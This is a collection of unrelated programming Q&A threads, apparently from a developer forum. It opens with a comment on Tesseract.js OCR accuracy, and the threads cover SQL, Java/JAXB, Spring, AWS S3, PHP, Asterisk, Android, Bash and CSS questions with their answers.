I have problems with Tesseract.js when I try to extract text from images that are not simple or from a video or photographs.
That's why you can extract simple text from the top of the image, but the lower text is more difficult to understand, you can also interpret patterns as text erroneously
I recommend you read this article. https://yoric.github.io/post/extracting-text-from-images/
It made me look for more solutions to this problem than I also have when I use tesseract.js, I still can't find another request for local processes, but external APIs show better results. But in the end, the intention is not to depend on external services.
If you know a better solution, pass me the data.


text:
Q: SQL Insert Into Where INSERT INTO Participant (Password)
VALUES ('768YcnaDG')
WHERE ParticipantID = 1048

I'm trying to do an insert into SQL command with a where clause. There is an error message that says incorrect syntax near where. How would I go about fixing this?

A: Presumably, you want UPDATE, not INSERT:
UPDATE Participant
    SET Password = '768YcnaDG'
    WHERE ParticipantID = 1048;

INSERT adds an entirely new row into the table.  UPDATE modifies the values of one or more columns.


text:
Q: Java 11 exception java.lang.ClassNotFoundException: com.sun.xml.internal.bind.v2.ContextFactory I have recently migrated my application to java 11 & Tomcat 9.0 & have started getting jaxb class not found exception.
caused by: java.lang.ClassNotFoundException: com.sun.xml.internal.bind.v2.ContextFactory
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1364)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1187)
at javax.xml.bind.ServiceLoaderUtil.nullSafeLoadClass(ServiceLoaderUtil.java:122)
at javax.xml.bind.ServiceLoaderUtil.safeLoadClass(ServiceLoaderUtil.java:155)
at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:276)

I have tried tweaking pom.xml and redeployed my war file in tomcat but still the same error persists in logs.
In pom.xml I have added the following but it does not work for me
    <!-- JAXB API only -->
  <dependency>
      <groupId>jakarta.xml.bind</groupId>
      <artifactId>jakarta.xml.bind-api</artifactId>
      <version>3.0.0</version>
  </dependency>

  <!-- JAXB RI, Jakarta XML Binding -->
  <dependency>
      <groupId>com.sun.xml.bind</groupId>
      <artifactId>jaxb-impl</artifactId>
      <version>3.0.0</version>
      <scope>runtime</scope>
  </dependency>

also tried adding this in pom.xml but it also doesn't work for me.
<!-- JAXB API -->
<dependency>
    <groupId>jakarta.xml.bind</groupId>
    <artifactId>jakarta.xml.bind-api</artifactId>
    <version>2.3.2</version>
</dependency>

<!-- JAXB Runtime -->
<dependency>
    <groupId>org.glassfish.jaxb</groupId>
    <artifactId>jaxb-runtime</artifactId>
    <version>2.3.2</version>
</dependency>

Please suggest


text:
Q: Configuring the URL context I am working on configuring a website where the client wants us to configure URL's like example.com/newyork and example.com/england. We are using Java SpringBoot environment.
Please advise how should I approach this problem? Is this something that can be configured in spring boot/spring-mvc or is an apache configuration.

A: You have to use @RequestMapping("/myUrl") on your controller where myUrl should be replaced with the URL you want.
This should work.


text:
Q: Visual Studio makes 1 feature per list I'm running into an odd problem with Visual Studio 2013 (Update 3) and SharePoint 2013.  I created a Sandboxed solution for SharePoint 2013.  I then right-clicked on the solution 7 times and selected to add a new List each time.  VS created a new feature for each list.  I deleted all but the first feature and added each list to that feature, so the end result was 1 feature with 7 list definitions and 7 list instances.
Builds and deploys just fine.
I then closed the solution and opened it again.  VS created 6 new features and put 1 list definition and list instance in each feature.  Is there a way for me to put all of my list definitions and instances into a single feature?

A: I think I found a solution. What I needed to do was to change the template type from the default of 100 to something else. I changed mine to 10000 for the first list definition and then changed the template type to 10001 for the second list definition. The second list definition was automatically added to the same feature as the first. Hope this helps.


text:
Q: Convert to Dictionary Values that Contains a Set to a List I am trying to convert a set inside a list like
x = [set(['Halo', 'Bye'])]

into a list:
['Halo', 'Bye']

However when I typed list(x), the result still shows
[set(['Halo', 'Bye'])]

Is there a way to do this?
I have been looking at various Stackoverflow resources like this and this for a solution but nothing works.

A: x is a list already, but the set you that are trying to convert is an element of the list x.So, do:
print (list(x[0]))

instead of just list(x) as the set is the first and the only element in the list x.

A: [item for set_ in x for item in set_]

This will flatten a list of sets (or a list of lists) into just a list


text:
Q: BlueZ gatttool notifications I am working over the BlueZ Library gatttool but when I run the gatttool  command as mentioned below, it starts giving me notification endlessly. Is there is any way, that it gives the notification once and then exit the command?
Command:
gatttool -b BC:6A:29:AC:02:57 –char-write-req -a 0x2E -n 0100 –listen;

Output is:
Characteristic value/descriptor: 00
Characteristic value/descriptor: 01
Characteristic value was written successfully
Notification handle = 0x002d value: 01 06 40
Notification handle = 0x002d value: 01 05 40
Notification handle = 0x002d value: 01 06 40
Notification handle = 0x002d value: 01 06 44
Notification handle = 0x002d value: 01 05 41
Notification handle = 0x002d value: 01 06 41
....endless notifications..... I just need once

A: just run it without --listen option.
gatttool -b BC:6A:29:AC:02:57 –char-write-req -a 0x2E -n 0100


text:
Q: AT-Commands from ESP32 to Fanstel BC805M (nRF52805M) not working I want to send a simple AT-Command like: AT\r\n from the ESP32 to the Fanstel BC805M (nRF52805M) breakout board. My goal is to get an answer.
Problem: The Esp32 does not get an answer from the BC805M.
Setup
Hardware

*

*The ESP32 is connected by usb cable to my Mac.

*The ESP32 connects to the BC805M by five cables -> 3V3->VDD, GND->GND, Rx->Tx, Tx->Rx, GPIO32(high)->GPIO04(P004). Rx and Tx from ESP32 are Serial2 (not the Serial0 of the programmer). The P004 pin from BC805M is set to high to enable "command-mode".
Software

*

*The BC805M came already preloaded with The AT commands code.

*The ESP32 is flashed by a simple Serial2 write/read arduino code:
#include <HardwareSerial.h>

#define RXD2 16
#define TXD2 17
#define CMD_MODE 32

void setup() {
  Serial.begin(115200);
  Serial2.begin(115200, SERIAL_8N1, RXD2, TXD2);
  pinMode(CMD_MODE, OUTPUT);
  digitalWrite(CMD_MODE, HIGH);
  delay(1000);
  Serial.println("start");
}
void loop() {
  Serial2.write("AT\r\n");
  delay(500);
  if(Serial2.available()){
    Serial.write(Serial2.read());
  }
}

On Monitor, I received nothing: Terminal Output
What I tested

*

*I connected the two ESP32 Rx and Tx Serial2 Pins with each other and the monitor prints AT AT AT ...  (so this works)

*I connected the ESP32 with the BC805M not by crossing Tx and Rx but like: Rx->Rx, Tx->Tx; I received the message

BlueNor 200622 started

on my monitor. This means I read the values of the Rx pin of the BC805M and wrote them to my monitor. Shouldn't this message be sent on on the Tx pin of the BC805M?

*

*I connected to the BC805M per Android App, which connects to it via Bluetooth Low Energy. I sent commands from the app to the BC805M. But I got no response. I could read the commands I sent on the Rx Pin of the BC805M.

*I connected solely the BC805M per usb to my mac and ran Arduino-IDE's monitor, the monitor prints absolutely nothing and writing AT-Commands also results into nothing.

A: The Fanstel support just wrote me that the BC805M Evaluation Board is NOT preloaded with the AT-Command firmware.
Only the BC805M module has it preloaded.
That explains why the AT-Commands did not work.


text:
Q: AWS S3 download only txt files without folders? I have configured AWS CLI, everything connected and works.
Please guide me how can I download files only for example .txt files or .anyformat files but without the folders?
My command brings me all the bucket with folders:
aws s3 cp s3://my-bucket ~/My_Files/ --recursive

A: This is not possible with the AWS Command-Line Interface (CLI) aws s3 cp command alone.
You could either download the files into directories with the AWS CLI and then write a shell command to move them, or you could write a small script (eg in Python) that downloads the files and saves them where you wish (as an alternative to using the AWS CLI).
If you use the AWS CLI, it will always recreate the folder structure.

A: EDIT: Hey, I checked this command on my S3 bucket and it seems to work. Let me try to explain and that might help you:
aws s3 cp s3://bucketname/ /home/ --recursive --exclude "*" --include "*.txt"
first we put the bucket name then after / we specify the location on our system where it should be copied to. If you are on a Windows you can use C:/Users/... or just /home/ in Ubuntuand the rest of the command is straight forward. Recursive so the shell won't stop on 1 file and usage of exclude and include means all files are ignored unless they are .txt
One thing to notice you might not have a right to copy to a directory or you are in root directory, check if you are pointing to a valid directory where the files from bucket are going to get copied or just navigate to it and use the dot after pointing the s3 bucket name.
 https://docs.aws.amazon.com/cli/latest/reference/s3/index.html


text:
Q: Mysql UPDATE syntax, how to use as array I'm having trouble understanding the documentation for the UPDATE command of MYSQL. I am viewing records in a PHP page from the database and I want to edit them.
To INSERT I have this code which is an array. I want to know if I can do the same with the UPDATE statement, to save me lots of this=$this 's.
Insert
 mysql_query("INSERT INTO $tbl_name(title, pbDate, summary, blog) VALUES('$title', 'pbDate', '$summary', '$blog')")or die(mysql_error());

Update
mysql_query("UPDATE $tbl_name SET title='$title', pbDate='$pbDate' summary='$summary' blog='$blog' WHERE id='$id'")

I thinking something like this, but I'm not sure and can't find anything in the manual.
mysql_query("UPDATE $tbl_name SET (title, pbDate, summary, blog) VALUES('$title', 'pbDate', '$summary', '$blog') WHERE id='$id'")

A: You could use an array ...
Working phpFiddle:
http://phpfiddle.org/main/code/pi9-ckh
<?php
$array = array(
    "column" => "some_value",
    "title" => "some_title",
);

$setString = '';
foreach($array as $key => $value){
    $tempArray[] = $key . ' = ' . "\"" . $value . "\"";
}

$setString = implode(",", $tempArray);

echo $setString;
?>


text:
Q: Additional Include Directories in Visual Studio 2015 I am getting an error, that a source file cannot be opened. However, I believe I have set up the additional include directory, correctly in vs2015.
This screenshot shows the error:
error message
This screenshot shows the include path:
include path

A: Either remove the Eigen from the #include or the Additional Include Path.
Also you shouldn't use absolute paths for includes as it means the project is non-portable. Use relative paths.


text:
Q: How can i connect to asterisk in Node.js I want connect to asterisk via socket programming how can i do this?
I know there are many module that we can use of these but i dont want use theme.
I read this page and want to know How can i connect to asterisk in Node.js via socket programming ?
This code is TCP Sample:
var net = require('net');

var HOST = '127.0.0.1';
var PORT = 6969;

// Create a server instance, and chain the listen function to it
// The function passed to net.createServer() becomes the event handler for the 'connection' event
// The sock object the callback function receives UNIQUE for each connection
net.createServer(function(sock) {

    // We have a connection - a socket object is assigned to the connection automatically
    console.log('CONNECTED: ' + sock.remoteAddress +':'+ sock.remotePort);

    // Add a 'data' event handler to this instance of socket
    sock.on('data', function(data) {

        console.log('DATA ' + sock.remoteAddress + ': ' + data);
        // Write the data back to the socket, the client will receive it as data from the server
        sock.write('You said "' + data + '"');

    });

    // Add a 'close' event handler to this instance of socket
    sock.on('close', function(data) {
        console.log('CLOSED: ' + sock.remoteAddress +' '+ sock.remotePort);
    });

}).listen(PORT, HOST);

console.log('Server listening on ' + HOST +':'+ PORT);

A: Use this article:
We can use socket programming in node.This sample code is for connect via TCP.
var net = require('net');
var port = 5038;
var host = "IP";
var username = "User";
var password = "Pass";
var CRLF = "\r\n";
var END = "\r\n\r\n";
var client = new net.Socket();

client.connect(port, host, function () {

    console.log('CONNECTED TO: ' + host + ':' + port);
    var obj = { Action: 'Login', Username: username, Secret: password};
    obj .ActionID =1;
    var socketData = generateSocketData(obj);
    console.log('DATA: ' + socketData);
    client.write(socketData, 'ascii');

});
generateSocketData = function(obj) {
    var str = '';
    for (var i in obj) {
       console.log('obj[i]:'+obj[i]);
        str += (i + ': ' + obj[i] + CRLF);
    }
    return str + CRLF;
};
client.on('data', function (data) {
    console.log('New Event Recived');
    console.log('******************************');
    console.log('DATA: ' + data);

});

client.on('close', function () {
    console.log('Connection closed');
});


text:
Q: How to have a button have a ripple as well as a custom shape When I try to have the two of them together but they will either override each other or the background becomes transparent.
Button shape:

<stroke
    android:width="1dp"
    android:color="#048403"/>
<corners
    android:radius="2dp" />

<padding
    android:left="5dp"
    android:right="5dp"
    android:top="3dp"
    android:bottom="3dp" />
<solid
    android:color="@color/safeGreen" />

Button ripple:
<ripple
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:color="@color/darkGreen">
    <item android:drawable="@color/safeGreen"/>
</ripple>

A: Shortly after posting this I found this solution that works in case anyone is interested. You create a new resource as below:
<?xml version="1.0" encoding="utf-8"?>
<ripple xmlns:android="http://schemas.android.com/apk/res/android"
        android:color="?android:attr/colorControlHighlight">
    <item android:id="@android:id/mask">
        <shape android:shape="rectangle">
            <solid android:color="@color/darkGreen" />
            <corners android:radius="2dp" />
        </shape>
    </item>
    <item android:drawable="@drawable/button_shape" />
</ripple>

A: try this
<?xml version="1.0" encoding="utf-8"?>

<item>
    <shape android:shape="rectangle">
        <stroke
            android:width="1dp"
            android:color="#048403"/>
        <corners
            android:radius="2dp" />

        <padding
            android:left="5dp"
            android:right="5dp"
            android:top="3dp"
            android:bottom="3dp" />
        <solid
            android:color="#1b711b" />
    </shape>
</item>


text:
Q: Php array vs Python array I'm new in PHP.
Is there any function in PHP that let you get e.g. [2-6] elements in array?
E.g in Python.
>>>array = [0,1,2,3,4,5,6,7,8,9]
>>>print(array[2:6])
[2,3,4,5]

A: its called slicing ;P
as such you should look at php's array_slice


text:
Q: On Running app Android Studio showing no device I started working on android after a gap of about four months yesterday. I updated it and have resolved some issues. When I created a simple login form and google map in new application I wanted to test it But when I run, the app dialog do not show any device check out this

I tried it more than five times with restarting the android studio but it does not show anything. I have two devices created one today with API 24 in AVD Manager  check out this

And one device in Genymotion is also running So, I wanna know why these are not appearing when I click Run button?
what should I do to show these in here?
Thanks in advance.

A: Enable developer options in your phone.


text:
Q: Bash {..} sequence substitutions Bash:
$: echo {1..5}
1 2 3 4 5
$: n=5
$: echo {1..$n}
{1..$n}

I can't figure out how to use this syntax to work on variables. I'm sure this answer is very simple, but syntax like this is very hard to "just Google".


text:
Q: Place checkbox input value into checkbox itself I would like to place the value of my checkbox inside of the checkbox itself, instead of being to the side of the checkbox.
I think this may give an overall more pleasing visual than simple text next to a checkbox.
I'm only able to use jQuery 1.3.2 for this website (SaaS restriction) as well, so just a heads up.
Here is the current checkbox layout. I'd like to place the values inside of the checkboxes

And this is what I would like for it to look like:

So, what I'm wondering, how can I do this, and is it with CSS or JS? Or a combination of both?
My current HTML looks like the following:

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="10" type="hidden">
<input type="checkbox">
10

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="12" type="hidden">
<input type="checkbox">
12

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="12M" type="hidden">
<input type="checkbox">
12M

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="14" type="hidden">
<input type="checkbox">
14

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="16" type="hidden">
<input type="checkbox">
16

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="18M" type="hidden">
<input type="checkbox">
18M

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="24" type="hidden">
<input type="checkbox">
24

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="24M" type="hidden">
<input type="checkbox">
24M

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="2T" type="hidden">
<input type="checkbox">
2T

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="3T" type="hidden">
<input type="checkbox">
3T

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="4" type="hidden">
<input type="checkbox">
4

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="4T" type="hidden">
<input type="checkbox">
4T

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="5" type="hidden">
<input type="checkbox">
5

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="6" type="hidden">
<input type="checkbox">
6

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="6X" type="hidden">
<input type="checkbox">
6X

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="7" type="hidden">
<input type="checkbox">
7

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="8" type="hidden">
<input type="checkbox">
8

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="9M" type="hidden">
<input type="checkbox">
9M

<input name="binId" value="size_name" type="hidden">    <input name="binValue" value="One Size" type="hidden">
<input type="checkbox">
One Size

A: Below CSS should put you right track
.cb-toolbar input[type="checkbox"] {
    display:none;
}

.cb-toolbar label {
    display:inline-block;
    background-color:#ddd;
    padding:4px 11px;
    font-family:Arial;
    font-size:16px;
}

.cb-toolbar input[type="checkbox"]:checked + label {
    background-color:#bbb;
}

Here is html markup.

    <input type="checkbox" id="checkbox1" name="radios" value="all" checked>
    10

    <input type="checkbox" id="checkbox2" name="radios"value="false">
    12

    <input type="checkbox" id="checkbox3" name="radios" value="true">
    12M

Live Demo with JSFIDDLE